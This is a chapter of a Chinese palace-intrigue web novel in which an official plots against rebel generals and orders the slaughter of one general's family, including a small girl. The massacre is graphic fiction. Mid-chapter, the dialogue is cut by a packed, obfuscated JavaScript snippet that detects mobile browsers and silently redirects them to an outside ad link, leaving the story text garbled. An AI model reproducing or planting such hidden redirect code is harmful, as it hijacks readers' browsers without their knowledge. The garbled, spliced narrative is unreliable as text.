48. 第48章

作品:《大王,此奸臣不可留!

    “张大人!库密被杀了!”


    嘭的一声大门被撞开,孙力跑进屋内大喊,神情慌张。


    烛火前,张律的表情没有任何变化,他挺直背,手握毛笔,行云流水的文字落在宣纸上。


    “张大人,您听见了吗?”孙力跑到了张律面前,“库密被杀了,不知道是谁干的!他之前选的是投降代王,十大将军可能以为是我们杀的!这要是闹起来,我们该怎么办啊?”


    修长的手指撵着宣纸,快速的往上一翻,遮挡住了文字内容,张律不满的瞟了一眼孙力。


    新来的年轻武将性子鲁莽,身材魁梧,几步就能闯到他的面前,肆意的大声喧哗,毁掉屋内的清净,搅的他不得安宁。


    张律:“我在给太子殿下写汇报信。”


    “哦!属下知罪!”孙力连忙后退几步,拉开距离。


    这种汇报信属于机密,他的级别太低,没有资格看,不小心瞥见几个字,都是会被杀头的。


    张律更不满了:“不要站在这里,往后退。”


    “是!”孙力退到了门口,直挺挺的站在原地。


    张律皱眉:“再往后退一步。”


    “是!”孙力倒跨出了门槛。


    张律:“把门关上。”


    “是!”孙力关上了门,茫然无措的盯着面前的漆木雕花,惊觉自己竟然被关在外面了。


    守在门两侧的两个小侍从翻着白眼,很嫌弃。


    都说了张大人正在忙不会见任何人,他非要闯进去!得亏张大人是个性子沉稳的长者,换别的官员,写机密信时被打扰,早大发雷霆命人把孙力拉出去,背脊骨都能给打断了!


    屋内终于恢复了平静,大手抹平宣纸,张律拿起毛笔继续,写完刘赤和北弥的情况后,开始阐述自己对局势的预判。


    “北弥落水逃走后,可能已和代国残军取得联系,今独自归来,意在策反十大将军,于途中生乱,劫走代王,因而,臣今夜无法带二人启程回皇城……”


    按照惯例写好结束的格式语,笔尖向下压,重重落下刀刃般的一道撇。


    汇报信完成了,张律把毛笔放到一旁,等待墨迹干掉。


    之前,北弥见到刘赤后说:“测一下,臣离大王有三丈远,反过来说就是有三丈近,实乃喜事,大家都应该高兴。将来,军马铁骑来,臣就能和大王靠在一起彻夜长谈了。”


    把这句话每节的第一个字拿出来,就是“测臣反实大将军臣”,去除无用的“臣”字,便是“测反实大将军”,谐音“策反十大将军”。


    扰乱人心,陷害他人,颠覆王权,一直是北弥的拿手好戏。


    现在库密被杀,张律更加确信,城内有代国的残兵游荡,周边草原上可能也潜伏着人马,北弥就是想挑起将军们的反心,到时候里应外合,像杀死狄族王傲暴那样杀死他。


    想到这里,张律冷笑了一下。


    爪下濒死的猎物居然想反吃了我。


    嘛……以北弥的性子,冒出这样大胆的意图也不奇怪。


    被逼到弃主跳湖逃生,又被抓回来,狼狈的双膝跪地,他应该很不甘心,想要赶快报复回来吧。


    但,无论计谋多精巧,只要能看出意图,就有应对的办法。


    张律心中已有两条策略。


    其一,派兵在城内和周边草原搜索,把代国残兵全部找出来杀了,和十大将军解除误会,让北弥再无反击的筹码。


    其二,从源头上解决问题,先发制人,控制住十大将军,遏制住其反心,等明日太子的兵来了再回皇城,利用人数优势让潜伏在草原上的残兵不敢来劫人。


    思索片刻,张律排除了第一种办法。


    茫茫草原,难以追杀,太费时间了,可能还没搜出什么人,十大将军已经反了。还是第二种办法更加稳妥。


    接下来该怎么做逐渐清晰明起来。


    宣纸上,最后一抹潮湿的墨迹干枯。张律拿起来折叠好,放入信封,在封口滴上红色的蜡,粘了一根虎斑纹的羽毛。从衣袖里拿出印章,正要盖上,张律的手悬停在空中,眼底浮现一丝犹豫。


    其实,还有第三种办法,那就是直接杀了北弥


    代王刘赤身边厉害的武将很多,厉害的谋臣却只有北弥一人,他一死,不管多精彩的计谋都会成为梦幻泡影,因为世间无人能代替北弥实施下去。


    这是最稳妥的策略,他只需把信拿出来,补充汇报一下就可以了,太子不会怪罪的……他用代王刘赤和北弥的尸体照样能获得丞相之位……


    张律眼中的犹豫多了起来,为官二十年,他头上一直悬着把利剑,只要走错一步,剑就会斩下自己的头颅,明智的人都会选择第三种策略,分险最小获利最大。


    脑海里忽然浮现出北弥的样子,对方的眼睛,熠熠生辉,被压到了肮脏的泥泞里,却从中迸发出生机勃勃,仿佛永远都无法被挫败。


    而自己是来自皇城的行尸走肉,心中万物皆死,眼中一片荒芜……


    犹豫霎那间消失了,印章落下,在柔软的热蜡上打上了“廷尉张律”四个字,封好了汇报信。


    就选第二个策略,他赌上性命回来,那我也要赌上性命破局!


    耳边忽然响起温柔的女声。


    “夫君你又被扣俸禄啦?不要愁眉苦脸的,瞧!这是我织的布!你拿去卖吧,官小点没关系,清贫点也没关系,我只想你每天能平安回家。”


    可是,你走后,我无论在哪里都是客死异乡,也没必要惜命了……


    有时候,张律感觉自己踏入那充满血腥味的房间后,再也没能走出来,妻子说过的话总会在耳边回荡。


    20年间里,他在无人知晓的岁月里崩溃腐烂,现在突然有人一脚踹开了门,直视着他自甘堕落的灵魂,叫他别自我折磨了。


    呵!


    无礼小辈!


    何其傲慢!


    痛苦、厌恶、愤怒、羞愧、悲伤,张律的很多情绪混杂一起,变得古怪又充满力量。


    他想要狠狠挫败这窥探内心的恶徒,他想要看着那双眼睛里的光亮熄灭!


    这会是一场恶斗,而他已经准备好了。


    将印章揣回衣袖后,张律弯曲食指和中指,在桌面上轻敲两下,发出“哒哒”的声响。


    门开了,进来一个侍从:“张大人,有何吩咐?”


    张律递出信件:“快快送回皇城。”


    “遵命!”侍从双手接过信件,小跑着离开。


    张律又招来一个侍从:“库密在哪里?”


    侍从:“回大人,在大厅里摆着呢。”


    张律:“验过尸了吗?”


    侍从:“验过了,颈部被猛踢后晕倒,又用小刀刺穿了气管和血管,当场毙命,只有经验丰富的杀手才能做的这么干脆利落。”


    张律了然:“把剩下的九位将军叫到大厅来。”


    侍从:“遵命!”


    走到几位侍卫面前,张律靠近小声嘀咕了几句什么,安排完工作后,阔步走了出去。


    孙力跟了上来,疑惑的问:“张大人,您要去哪里啊?”


    张律


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099008|163748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“大厅,你不是说库密死了,其他将军以为是我们做的,可能要闹起来了,我把他们叫来好好谈谈。”


    孙力一直悬着的心落下了,刚才被赶出房间,还以为张大人根本不在乎这事,原来是早有对策啊。


    之前,得知自己被派到张大人身边,要一起去草原,孙力害怕的一晚上没睡着。


    这个酷吏可会杀人了,而自己生性莽撞,废话又多,容易得罪人。现在看来,外界的传言都是危言耸听,张大人是个内敛而温和的人,这几天下来,都没见他对什么人动过怒。


    到了大厅,张律看见了库密的尸体,刚死没多久,血还没干枯。


    张律找到一个位子坐下,等了一会儿,九位将军陆续来了。


    最先到的是齐齐激,他浑身酒气,神经紧绷,看见库密的尸体后,眼眶一红,哽咽着,别开脸不再去看昔日的好友。


    其他将军见到库密的尸体,都变了脸色,有惊疑,有愤恨。


    最后到的是傲商,走进房间后,他盯着库密的尸体,冷脸沉默了一会儿后,对张律拱手行礼,退到了暗处。


    见九位将军来了后,张律站起来说道:“刚刚库密被人杀了,你们必然有不少疑惑,现在想问我什么就直说吧,我会回答的。”


    胡漆将军上前质问:“是你派人杀的吗?”


    张律:“不是。”


    胡漆:“你怎么证明?”


    张律:“杀死库密对我没有任何好处,太子给我的任务是把北弥带回去,如果你们乱了,我就脱不了身了。”


    有几个将军点了点头,他们也觉得张律没必要在这个时候干这事。


    胡漆:“我还是不能信任你,你是个外人,还是大夏的臣子,脑子转的太快,我们吃了很多亏。”


    张律:“要怎么样才能获得你的信任?”


    胡漆:“你拿走了我们三分之二的兵权,如果你能还回来三分之一,我就信任你。”


    目光扫视了一圈狄族将军们,张律问:“还有谁和他有一样的想法?”


    又站出来一个将军,二十来岁,很年轻。


    张律等了一会儿,见其他将军都没动后,拍了拍手。


    侍卫们明白了张律的意思,从另一个房间赶出了一大群人,有男有女,有老有少,都惊慌失措,正是胡漆的亲属。将军们前脚刚走,张律的侍卫后脚就破门而入,把他们都抓到这里来。


    一个七八岁的小女孩打着哈欠,半夜起来对她来说太难了,揉了揉眼睛后,她看见了胡漆,开心的展开双臂,跑了过去:“阿爸!”


    下一秒,侍卫抽出了刀劈了下去,女儿的血飞溅了胡漆一身。事发突然,胡漆不敢相信发生了什么,震惊的睁大双眼,缓过来后,他愤怒的浑身发抖,拔出了弯刀。


    “大夏狗贼!我要杀了你!”


    更多侍卫冲出,刀光剑影下,凄惨的哀嚎不断,胡漆看见自己的家人几分钟内便被屠戮殆尽。而他也被两个人擒住押到了张律的面前,侍卫见他死活不跪,对这他的膝盖猛踢了一脚,骨头都裂了。


    “扑通”一声,胡漆跪在了张律面前。


    他抬起头,脸上沾满血和泪,表情扭曲狰狞,悲愤大吼:“为什么!为什么要这样做?”


    张律背笔直,挺着胸膛,垂眼俯视着胡漆,嘴角微微扬起:“原来你会落泪啊,之前我看你杀死奴隶的女儿时一直在大笑,还以为这次你也会大笑。”


    摆摆手,张律对侍卫命令:“他没用了,斩了吧。”


    寒光劈下,胡漆人头落地。